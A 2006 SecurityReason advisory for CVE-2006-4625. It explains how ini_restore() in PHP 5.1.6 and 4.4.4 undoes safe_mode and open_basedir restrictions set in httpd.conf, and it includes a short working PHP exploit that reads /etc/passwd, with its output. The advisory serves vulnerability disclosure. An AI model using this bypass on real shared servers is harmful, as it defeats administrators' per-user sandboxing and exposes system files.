phpBypass.txt

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[PHP 5.1.6 / 4.4.4 Critical php_admin* bypass by ini_restore()]  
  
  
Author: Maksymilian Arciemowicz (cXIb8O3)  
Date:  
- - Written: 05.09.2006  
- - Public: 09.09.2006  
SecurityAlert Id: 42  
CVE: CVE-2006-4625  
SecurityRisk: High  
Affected Software: PHP 5.1.6 / 4.4.4 < = x  
Advisory URL: http://securityreason.com/achievement_securityalert/42  
Vendor: http://www.php.net  
  
- --- 0.Description ---  
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific   
features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.  
  
A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much   
of the PHP Conference Material is freely available.   
  
php_admin_value name value  
  
Sets the value of the specified directive. This can not be used in .htaccess files. Any directive type set with php_admin_value can   
not be overridden by .htaccess or virtualhost directives. To clear a previously set value use none as the value.   
php_admin_flag name on|off  
  
Used to set a boolean configuration directive. This can not be used in .htaccess files. Any directive type set with php_admin_flag   
can not be overridden by .htaccess or virtualhost directives.   
  
http://pl.php.net/manual/en/configuration.changes.php  
  
- --- 1. php_admin_value and php_admin_flag Bypass ---  
When using PHP as an Apache module, you can also change the configuration settings using directives in Apache configuration files (e.g.   
httpd.conf). This options are using by a lot of ISP to set open_basedir, safe_mode and more options.  
  
For example:  
open_basedir in httpd.conf  
  
- ---  
<Directory /usr/home/frajer/public_html/>  
Options FollowSymLinks MultiViews Indexes  
AllowOverride None  
php_admin_flag safe_mode 1  
php_admin_value open_basedir /usr/home/frajer/public_html/  
</Directory>  
- ---  
  
In PHP are two config options. Are Local Value and Master Value. More in phpinfo() or ini_get()   
  
Example:  
If you have safe_mode or open_basedir (etc) set in Local Value for selected users and in Master Value is default value, you can restore   
Master Value to Local Value per ini_restore() function!  
  
- ---  
ini_restore  
  
(PHP 4, PHP 5)  
ini_restore -- Restores the value of a configuration option  
- ---  
  
Restores the value of a php.ini file. Then your PHP options from httpd.conf are bypassed.  
  
EXPLOIT:  
- ---  
<?  
echo ini_get("safe_mode");  
echo ini_get("open_basedir");  
include("/etc/passwd");  
ini_restore("safe_mode");  
ini_restore("open_basedir");  
echo ini_get("safe_mode");  
echo ini_get("open_basedir");  
include("/etc/passwd");  
?>  
- ---  
  
RESULT OF EXPLOIT:  
- ---  
1  
/usr/home/frajer/public_html/  
Warning: include() [function.include]: open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s):   
(/usr/home/frajer/public_html/) in /usr/home/frajer/public_html/ini_restore.php on line 4  
  
Warning: include(/etc/passwd) [function.include]: failed to open stream: Operation not permitted in   
/usr/home/frajer/public_html/ini_restore.php on line 4  
  
Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion (include_path='.:') in   
/usr/home/frajer/public_html/ini_restore.php on line 4  
# $BSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-ag.....  
- ---  
  
This issue is very dangerous, because Admin can't correct set open_basedir or safe_mode for all users.  
  
- --- 2. How to fix ---  
fixed in CVS HEAD, PHP_5_2, PHP_5_1 and PHP_4_4.  
  
http://cvs.php.net/viewcvs.cgi/php-src/NEWS  
  
- --- 3. Greets ---  
  
For: sp3x  
and  
p_e_a, l5x  
  
- --- 4. Contact ---  
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]  
Email: cxib [at] securityreason [dot] com  
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
Regards   
SecurityReason  
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